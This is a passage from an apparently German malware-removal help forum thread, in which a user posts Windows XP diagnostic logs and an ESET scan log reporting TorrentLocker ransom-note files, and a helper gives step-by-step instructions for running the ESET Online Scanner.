IE restricted site: HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\123haustiereundmehr.com -> www.123haustiereundmehr.com

IE restricted site: HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\123simsen.com -> www.123simsen.com

IE restricted site: HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\123topsearch.com -> www.123topsearch.com

IE restricted site: HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\125sms.co.uk -> www.125sms.co.uk
 

Da befinden sich 5176 mehr Seiten.
 
 

==================== Hosts Inhalt: ===============================
 

(Wenn benötigt kann der Hosts: Schalter in die Fixlist aufgenommen werden um die Hosts Datei zurückzusetzen.)
 

2002-12-31 14:00 - 2016-08-16 17:36 - 00000027 ____A C:\WINDOWS\system32\Drivers\etc\hosts
 

127.0.0.1       localhost
 

==================== Andere Bereiche ============================
 

(Aktuell gibt es keinen automatisierten Fix für diesen Bereich.)
 

HKU\S-1-5-21-796845957-1960408961-682003330-1003\Control Panel\Desktop\\Wallpaper -> 

DNS Servers: 10.0.0.138

Windows Firewall ist aktiviert.
 

==================== MSCONFIG/TASK MANAGER Deaktivierte Einträge ==
 

(Aktuell gibt es keinen automatisierten Fix für diesen Bereich.)
 

MSCONFIG\startupfolder: C:^Dokumente und Einstellungen^All Users^Startmenü^Programme^Autostart^TP-LINK Wireless Configuration Utility.lnk => C:\WINDOWS\pss\TP-LINK Wireless Configuration Utility.lnkCommon Startup

MSCONFIG\startupfolder: C:^Dokumente und Einstellungen^Julie^Startmenü^Programme^Autostart^z.vbb => C:\WINDOWS\pss\z.vbbStartup

MSCONFIG\startupreg: Adobe Version Cue CS2 => c:\Programme\Adobe\Adobe Version Cue CS2\ControlPanel\VersionCueCS2Tray.exe

MSCONFIG\startupreg: APSDaemon => "C:\Programme\Gemeinsame Dateien\Apple\Apple Application Support\APSDaemon.exe"

MSCONFIG\startupreg: DivXMediaServer => C:\Programme\DivX\DivX Media Server\DivXMediaServer.exe

MSCONFIG\startupreg: DivXUpdate => "C:\Programme\DivX\DivX Update\DivXUpdate.exe" /CHECKNOW

MSCONFIG\startupreg: NBJ => "C:\Programme\Ahead\Nero BackItUp\NBJ.exe"

MSCONFIG\startupreg: SunJavaUpdateSched => "C:\Programme\Gemeinsame Dateien\Java\Java Update\jusched.exe"

MSCONFIG\startupreg: Telenorhjelpen => "C:\Programme\Telenor Norway\Telenorhjelpen\Telenorhjelpen.exe" -autorun

MSCONFIG\startupreg: TnFtpServer => C:\Dokumente und Einstellungen\Julie\Eigene Dateien\SW Download\WinXP tuning\TnFtpSrv\TnFtpSrv.exe
 

==================== FirewallRules (Nicht auf der Ausnahmeliste) ===============
 

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Die Datei wird nicht verschoben solange sie nicht separat aufgelistet wird.)
 

StandardProfile\AuthorizedApplications: [C:\Program Files\Real\RealPlayer\realplay.exe] => Enabled:RealPlayer

StandardProfile\AuthorizedApplications: [C:\WINDOWS\system32\mshta.exe] => Enabled:Microsoft (R) HTML Application host

StandardProfile\AuthorizedApplications: [C:\Programme\Opera\opera.exe] => Enabled:Opera Internet Browser

StandardProfile\AuthorizedApplications: [C:\Programme\Gemeinsame Dateien\Apple\Apple Application Support\WebKit2WebProcess.exe] => Enabled:WebKit

StandardProfile\AuthorizedApplications: [C:\Programme\A1\A1 Webassistent\A1Mailboxen.exe] => Enabled:A1 Webassistent Mailboxen

StandardProfile\AuthorizedApplications: [C:\Programme\Adobe\Adobe Version Cue CS2\bin\VersionCueCS2.exe] => Enabled:Adobe Version Cue CS2

StandardProfile\AuthorizedApplications: [C:\Programme\A1\A1 Webassistent\A1Breitband.exe] => Enabled:A1 Internet Installation

StandardProfile\AuthorizedApplications: [C:\Programme\Google\Chrome\Application\chrome.exe] => Enabled:Google Chrome

StandardProfile\AuthorizedApplications: [C:\Programme\Telenor Norway\Telenorhjelpen\Telenorhjelpen.exe] => Enabled:Telenorhjelpen

StandardProfile\AuthorizedApplications: [C:\WINDOWS\system32\java.exe] => Enabled:Java(TM) Platform SE binary

StandardProfile\AuthorizedApplications: [C:\Programme\Java\jre7\bin\javaw.exe] => Enabled:Java(TM) Platform SE binary

StandardProfile\AuthorizedApplications: [C:\Dokumente und Einstellungen\Julie\Eigene Dateien\SW Download\WinXP tuning\TnFtpSrv\TnFtpSrv.exe] => Disabled:Telnet-Ftp Service Server

StandardProfile\AuthorizedApplications: [C:\Programme\A1\A1 Servicecenter\A1Servicecenter.exe] => Enabled:A1 Servicecenter

StandardProfile\AuthorizedApplications: [C:\Programme\A1\A1 Webassistent\A1Modemkonfigurator.exe] => Enabled:A1 Webassistent

StandardProfile\AuthorizedApplications: [C:\Programme\A1\A1 Webassistent\A1WLANAssistent.exe] => Enabled:A1 Webassistent

StandardProfile\AuthorizedApplications: [C:\Programme\A1\A1 Breitband\A1Breitband.exe] => Enabled:A1 Internet Installation

StandardProfile\AuthorizedApplications: [C:\Programme\A1\A1 Webassistent\A1Webassistent.exe] => Enabled:A1 Webassistent

DomainProfile\GloballyOpenPorts: [3306:TCP] => Enabled:MySQL56

StandardProfile\GloballyOpenPorts: [1900:UDP] => :LocalSubNet:Disabled:@xpsp2res.dll,-22007

StandardProfile\GloballyOpenPorts: [2869:TCP] => :LocalSubNet:Disabled:@xpsp2res.dll,-22008

StandardProfile\GloballyOpenPorts: [3306:TCP] => Enabled:MySQL56
 

==================== Wiederherstellungspunkte =========================
 

21-05-2016 15:44:30 Systemprüfpunkt

22-05-2016 16:23:03 Systemprüfpunkt

23-05-2016 17:08:22 Systemprüfpunkt

25-05-2016 15:52:15 Systemprüfpunkt

26-05-2016 20:40:12 Systemprüfpunkt

28-05-2016 22:13:57 Systemprüfpunkt

31-05-2016 11:44:41 Systemprüfpunkt

01-06-2016 16:04:51 Systemprüfpunkt

03-06-2016 09:30:50 Systemprüfpunkt

04-06-2016 16:19:55 Systemprüfpunkt

05-06-2016 19:12:58 Systemprüfpunkt

07-06-2016 13:33:50 Systemprüfpunkt

13-06-2016 11:39:04 Systemprüfpunkt

14-06-2016 17:32:17 Systemprüfpunkt

16-06-2016 08:33:42 Systemprüfpunkt

17-06-2016 16:16:22 Systemprüfpunkt

19-06-2016 15:20:54 Systemprüfpunkt

22-06-2016 12:37:03 Systemprüfpunkt

23-06-2016 13:32:38 Systemprüfpunkt

24-06-2016 13:57:27 Systemprüfpunkt

29-06-2016 16:55:22 Systemprüfpunkt

30-06-2016 21:16:00 Systemprüfpunkt

02-07-2016 15:23:29 Systemprüfpunkt

03-07-2016 17:48:56 Systemprüfpunkt

04-07-2016 17:50:32 Systemprüfpunkt

05-07-2016 21:17:12 Systemprüfpunkt

06-07-2016 23:16:00 Systemprüfpunkt

15-07-2016 10:01:12 Systemprüfpunkt

16-07-2016 15:58:34 Systemprüfpunkt

17-07-2016 16:59:44 Systemprüfpunkt

18-07-2016 17:55:07 Systemprüfpunkt

20-07-2016 21:52:44 Systemprüfpunkt

21-07-2016 23:47:02 Systemprüfpunkt

24-07-2016 13:14:28 Systemprüfpunkt

25-07-2016 14:29:03 Systemprüfpunkt

27-07-2016 02:02:07 Systemprüfpunkt

28-07-2016 09:06:25 Systemprüfpunkt

29-07-2016 12:32:25 Systemprüfpunkt

30-07-2016 13:04:45 Systemprüfpunkt

31-07-2016 13:29:13 Systemprüfpunkt

02-08-2016 11:08:41 Systemprüfpunkt

03-08-2016 15:09:44 Systemprüfpunkt

03-08-2016 23:12:44 Wiederherstellungsvorgang

03-08-2016 23:15:27 Wiederherstellungsvorgang

04-08-2016 00:54:11 JRT Pre-Junkware Removal

16-08-2016 13:23:24 Systemprüfpunkt

17-08-2016 15:09:49 Systemprüfpunkt
 

==================== Fehlerhafte Geräte im Gerätemanager =============
 

Name: 1394-Netzwerkadapter

Description: 1394-Netzwerkadapter

Class Guid: {4D36E972-E325-11CE-BFC1-08002BE10318}

Manufacturer: Microsoft

Service: NIC1394

Problem: : This device is disabled. (Code 22)

Resolution: In Device Manager, click "Action", and then click "Enable Device". This starts the Enable Device wizard. Follow the instructions.
 
 

==================== Fehlereinträge in der Ereignisanzeige: =========================
 

Applikationsfehler:

==================

Error: (08/16/2016 12:20:18 PM) (Source: PerfNet) (EventID: 2004) (User: )

Description: Der Serverdienst konnte nicht geöffnet werden. Die Server-Leistungsinformationen

werden nicht zurückgegeben. Der zurückgegebene Fehlercode befindet sich in DWORD 0.
 
 

Systemfehler:

=============

Error: (08/18/2016 01:29:24 AM) (Source: Service Control Manager) (EventID: 7001) (User: )

Description: Der Dienst "RAS-Verbindungsverwaltung" ist vom Dienst "Telefonie" abhängig, der aufgrund folgenden Fehlers nicht gestartet wurde: 

%%1058 = Der angegebene Dienst kann nicht gestartet werden. Er ist deaktiviert oder nicht mit aktivierten Geräten verbunden.
 

Error: (08/18/2016 01:29:24 AM) (Source: Service Control Manager) (EventID: 7001) (User: )

Description: Der Dienst "RAS-Verbindungsverwaltung" ist vom Dienst "Telefonie" abhängig, der aufgrund folgenden Fehlers nicht gestartet wurde: 

%%1058 = Der angegebene Dienst kann nicht gestartet werden. Er ist deaktiviert oder nicht mit aktivierten Geräten verbunden.
 

Error: (08/18/2016 01:29:24 AM) (Source: Service Control Manager) (EventID: 7001) (User: )

Description: Der Dienst "RAS-Verbindungsverwaltung" ist vom Dienst "Telefonie" abhängig, der aufgrund folgenden Fehlers nicht gestartet wurde: 

%%1058 = Der angegebene Dienst kann nicht gestartet werden. Er ist deaktiviert oder nicht mit aktivierten Geräten verbunden.
 

Error: (08/18/2016 01:29:24 AM) (Source: Service Control Manager) (EventID: 7001) (User: )

Description: Der Dienst "RAS-Verbindungsverwaltung" ist vom Dienst "Telefonie" abhängig, der aufgrund folgenden Fehlers nicht gestartet wurde: 

%%1058 = Der angegebene Dienst kann nicht gestartet werden. Er ist deaktiviert oder nicht mit aktivierten Geräten verbunden.
 

Error: (08/18/2016 01:29:24 AM) (Source: Service Control Manager) (EventID: 7001) (User: )

Description: Der Dienst "RAS-Verbindungsverwaltung" ist vom Dienst "Telefonie" abhängig, der aufgrund folgenden Fehlers nicht gestartet wurde: 

%%1058 = Der angegebene Dienst kann nicht gestartet werden. Er ist deaktiviert oder nicht mit aktivierten Geräten verbunden.
 

Error: (08/18/2016 01:29:23 AM) (Source: Service Control Manager) (EventID: 7001) (User: )

Description: Der Dienst "RAS-Verbindungsverwaltung" ist vom Dienst "Telefonie" abhängig, der aufgrund folgenden Fehlers nicht gestartet wurde: 

%%1058 = Der angegebene Dienst kann nicht gestartet werden. Er ist deaktiviert oder nicht mit aktivierten Geräten verbunden.
 

Error: (08/18/2016 01:29:23 AM) (Source: Service Control Manager) (EventID: 7001) (User: )

Description: Der Dienst "RAS-Verbindungsverwaltung" ist vom Dienst "Telefonie" abhängig, der aufgrund folgenden Fehlers nicht gestartet wurde: 

%%1058 = Der angegebene Dienst kann nicht gestartet werden. Er ist deaktiviert oder nicht mit aktivierten Geräten verbunden.
 

Error: (08/18/2016 01:29:23 AM) (Source: Service Control Manager) (EventID: 7001) (User: )

Description: Der Dienst "RAS-Verbindungsverwaltung" ist vom Dienst "Telefonie" abhängig, der aufgrund folgenden Fehlers nicht gestartet wurde: 

%%1058 = Der angegebene Dienst kann nicht gestartet werden. Er ist deaktiviert oder nicht mit aktivierten Geräten verbunden.
 

Error: (08/18/2016 01:29:23 AM) (Source: Service Control Manager) (EventID: 7001) (User: )

Description: Der Dienst "RAS-Verbindungsverwaltung" ist vom Dienst "Telefonie" abhängig, der aufgrund folgenden Fehlers nicht gestartet wurde: 

%%1058 = Der angegebene Dienst kann nicht gestartet werden. Er ist deaktiviert oder nicht mit aktivierten Geräten verbunden.
 

Error: (08/18/2016 01:29:23 AM) (Source: Service Control Manager) (EventID: 7001) (User: )

Description: Der Dienst "RAS-Verbindungsverwaltung" ist vom Dienst "Telefonie" abhängig, der aufgrund folgenden Fehlers nicht gestartet wurde: 

%%1058 = Der angegebene Dienst kann nicht gestartet werden. Er ist deaktiviert oder nicht mit aktivierten Geräten verbunden.
 
 

==================== Memory info =========================== 
 

Processor: Intel(R) Core(TM)2 CPU 6400 @ 2.13GHz

Prozentuale Nutzung des RAM: 59%

Installierter physikalischer RAM: 1023.17 MB

Verfügbarer physikalischer RAM: 410.32 MB

Summe virtueller Speicher: 2461.63 MB

Verfügbarer virtueller Speicher: 1889.69 MB
 

==================== Laufwerke ================================
 

Drive c: (Boot) (Fixed) (Total:68.36 GB) (Free:21.25 GB) NTFS ==>[Laufwerk mit Startkomponenten (Windows XP)]

Drive e: (Big one) (Fixed) (Total:164.51 GB) (Free:36.22 GB) NTFS

Drive g: (TRANSCEND) (Removable) (Total:7.26 GB) (Free:7.26 GB) FAT32

Drive h: (JOBS USB) (Removable) (Total:7.2 GB) (Free:6.88 GB) FAT32

Drive j: (Seagate Mac&PC) (Fixed) (Total:465.76 GB) (Free:42.31 GB) NTFS
 

==================== MBR & Partitionstabelle ==================
 

========================================================

Disk: 1 (Size: 232.9 GB) (Disk ID: 378E378E)

Partition 1: (Active) - (Size=68.4 GB) - (Type=07 NTFS)

Partition 2: (Not Active) - (Size=164.5 GB) - (Type=OF Extended)
 

========================================================

Disk: 2 (Size: 7.2 GB) (Disk ID: 314A585C)

Partition 1: (Active) - (Size=7.2 GB) - (Type=0B)
 

========================================================

Disk: 3 (Size: 7.3 GB) (Disk ID: 00000000)
 

Partition: GPT.
 

========================================================

Disk: 4 (Size: 465.8 GB) (Disk ID: A4B57300)

Partition 1: (Not Active) - (Size=465.8 GB) - (Type=07 NTFS)
 

==================== Ende vom Addition.txt ============================

jazzerin

18.08.2016 00:34

Das script mit dem Crypto_locker konnte ich womöglich rechtzeitig stoppen, denn bisher habe ich alle Stichproben auf den Festplatten lesen können. Damit sollte ich jetzt recht gut schlafen, gute Nacht. Eure Arbeit ist vorbildhaft!!!

Fragerin

18.08.2016 08:07

Jetzt bitte einen Kontrollscan mit ESET:

Schritt 1
Den Stick an den PC anstecken und einen ESET-Scan durchführen.
Wichtig: Bitte unter "Computer-Prüfeinstellungen/...zu prüfende Objekte" die checkbox bei Computer setzen.
http://www.deeprybka.trojaner-board....t/usbeset1.png

ESET Online Scanner

Hier findest du eine bebilderte Anleitung zu ESET Online Scanner
Lade und starte Eset Online Scanner
Setze einen Haken bei Ja, ich bin mit den Nutzungsbedingungen einverstanden und klicke auf Starten.
Aktiviere die "Erkennung von eventuell unerwünschten Anwendungen" und wähle folgende Einstellungen.
Klicke auf Starten.
Die Signaturen werden heruntergeladen, der Scan beginnt automatisch.
Klicke am Ende des Suchlaufs auf Fertig stellen.
Schließe das Fenster von ESET.
Explorer öffnen.
C:\Programme\Eset\EsetOnlineScanner\log.txt (bei 64 Bit auch C:\Programme (x86)\Eset\EsetOnlineScanner\log.txt) suchen und mit Deinem Editor öffnen (bebildert).
Logfile hier posten.
Deinstallation: Systemsteuerung => Software / Programme deinstallieren => Eset Online Scanner V3 entfernen.
Manuell folgenden Ordner löschen und Papierkorb leeren => C:\Programme\Eset

jazzerin

18.08.2016 14:44

Hallo!
Nicht wirklich verheissungsvoll, mein ESET-logfile:

Code:

ESETSmartInstaller@High as downloader log:

all ok

# product=EOS

# version=8

# OnlineScannerApp.exe=1.0.0.1

# EOSSerial=f4e868ac0dfbca41a6afb854a67b52a1

# end=init

# utc_time=2016-08-18 09:09:59

# local_time=2016-08-18 11:09:59 (+0100, Westeuropäische Sommerzeit)

# country="Germany"

# osver=5.1.2600 NT Service Pack 3

Update Init

Update Download

Update Finalize

Updated modules version: 30464

# product=EOS

# version=8

# OnlineScannerApp.exe=1.0.0.1

# EOSSerial=f4e868ac0dfbca41a6afb854a67b52a1

# end=updated

# utc_time=2016-08-18 09:19:23

# local_time=2016-08-18 11:19:23 (+0100, Westeuropäische Sommerzeit)

# country="Germany"

# osver=5.1.2600 NT Service Pack 3

# product=EOS

# version=8

# OnlineScannerApp.exe=1.0.0.1

# OnlineScanner.ocx=1.0.0.7777

# api_version=3.1.1

# EOSSerial=f4e868ac0dfbca41a6afb854a67b52a1

# engine=30464

# end=finished

# remove_checked=false

# archives_checked=true

# unwanted_checked=true

# unsafe_checked=false

# antistealth_checked=true

# utc_time=2016-08-18 12:35:47

# local_time=2016-08-18 02:35:47 (+0100, Westeuropäische Sommerzeit)

# country="Germany"

# lang=1031

# osver=5.1.2600 NT Service Pack 3

# scanned=298673

# found=600

# cleaned=0

# scan_time=11783

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\AdwCleaner\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\AdwCleaner\FileQuarantine\C\Dokumente und Einstellungen\All Users\Anwendungsdaten\Anti-phishing Domain Advisor\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\AdwCleaner\FileQuarantine\C\Dokumente und Einstellungen\All Users\Anwendungsdaten\Ask\APN-Stub\PTV\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\AdwCleaner\FileQuarantine\C\Dokumente und Einstellungen\All Users\Anwendungsdaten\EmailNotifier\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\AdwCleaner\FileQuarantine\C\Dokumente und Einstellungen\All Users\Anwendungsdaten\SecTaskMan\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\AdwCleaner\FileQuarantine\C\Dokumente und Einstellungen\All Users\Anwendungsdaten\speedypc software\SpeedyPC Pro\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\AdwCleaner\FileQuarantine\C\Programme\AskPartnerNetwork\Toolbar\Updater\ORJ-V7(2)\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\AdwCleaner\FileQuarantine\C\Programme\vmndtxtb\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\AdwCleaner\FileQuarantine\C\Programme\vmndtxtb\auxi\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\AdwCleaner\FileQuarantine\C\Programme\vmndtxtb\chrome\content\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\AdwCleaner\FileQuarantine\C\Programme\vmndtxtb\chrome\content\lib\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\AdwCleaner\FileQuarantine\C\Programme\vmndtxtb\chrome\content\modules\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\AdwCleaner\FileQuarantine\C\Programme\vmndtxtb\chrome\content\newtab\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\AdwCleaner\FileQuarantine\C\Programme\vmndtxtb\chrome\content\newtab\images\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\AdwCleaner\FileQuarantine\C\Programme\vmndtxtb\chrome\content\widgets\net.vmn.www.Coupons\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\AdwCleaner\FileQuarantine\C\Programme\vmndtxtb\chrome\content\widgets\net.vmn.www.MyStartFacebook\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\AdwCleaner\FileQuarantine\C\Programme\vmndtxtb\chrome\content\widgets\net.vmn.www.MyStartFacebook\css\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\AdwCleaner\FileQuarantine\C\Programme\vmndtxtb\chrome\content\widgets\net.vmn.www.MyStartFacebook\images\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\AdwCleaner\FileQuarantine\C\Programme\vmndtxtb\chrome\content\widgets\net.vmn.www.MyStartFacebook\js\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\AdwCleaner\FileQuarantine\C\Programme\vmndtxtb\chrome\content\widgets\net.vmn.www.MyStartFacebook\skin\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\AdwCleaner\FileQuarantine\C\Programme\vmndtxtb\chrome\content\widgets\net.vmn.www.MyStartFacebook\skin\css\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\AdwCleaner\FileQuarantine\C\Programme\vmndtxtb\chrome\content\widgets\net.vmn.www.MyStartFacebook\skin\images\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\AdwCleaner\FileQuarantine\C\Programme\vmndtxtb\chrome\content\widgets\net.vmn.www.MyStartFacebook\skin\scripts\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\AdwCleaner\FileQuarantine\C\Programme\vmndtxtb\chrome\content\widgets\net.vmn.www.Shopping\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\AdwCleaner\FileQuarantine\C\Programme\vmndtxtb\chrome\content\widgets\net.vmn.www.WebTV\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\AdwCleaner\FileQuarantine\C\Programme\vmndtxtb\chrome\content\widgets\net.vmn.www.WebTV\css\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\AdwCleaner\FileQuarantine\C\Programme\vmndtxtb\chrome\content\widgets\net.vmn.www.WebTV\images\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\AdwCleaner\FileQuarantine\C\Programme\vmndtxtb\chrome\content\widgets\net.vmn.www.WebTV\js\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\AdwCleaner\FileQuarantine\C\Programme\vmndtxtb\chrome\content\widgets\net.vmn.www.WebTV\skin\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\AdwCleaner\FileQuarantine\C\Programme\vmndtxtb\chrome\content\widgets\net.vmn.www.WebTV\skin\css\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\AdwCleaner\FileQuarantine\C\Programme\vmndtxtb\chrome\content\widgets\net.vmn.www.WebTV\skin\images\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\AdwCleaner\FileQuarantine\C\Programme\vmndtxtb\chrome\content\widgets\net.vmn.www.WebTV\skin\scripts\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\AdwCleaner\FileQuarantine\C\Programme\vmndtxtb\chrome\content\widgets\net.vmn.www.YouTube\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\AdwCleaner\FileQuarantine\C\Programme\vmndtxtb\chrome\content\widgets\net.vmn.www.YouTube\css\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\AdwCleaner\FileQuarantine\C\Programme\vmndtxtb\chrome\content\widgets\net.vmn.www.YouTube\images\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\AdwCleaner\FileQuarantine\C\Programme\vmndtxtb\chrome\content\widgets\net.vmn.www.YouTube\js\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\AdwCleaner\FileQuarantine\C\Programme\vmndtxtb\chrome\content\widgets\net.vmn.www.YouTube\skin\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\AdwCleaner\FileQuarantine\C\Programme\vmndtxtb\chrome\content\widgets\net.vmn.www.YouTube\skin\css\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\AdwCleaner\FileQuarantine\C\Programme\vmndtxtb\chrome\content\widgets\net.vmn.www.YouTube\skin\images\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\AdwCleaner\FileQuarantine\C\Programme\vmndtxtb\chrome\content\widgets\net.vmn.www.YouTube\skin\scripts\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\AdwCleaner\FileQuarantine\C\Programme\vmndtxtb\chrome\data\coupons\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\AdwCleaner\FileQuarantine\C\Programme\vmndtxtb\chrome\data\rss\wie_zum_Wiederherstellen_von_Dateien.html"

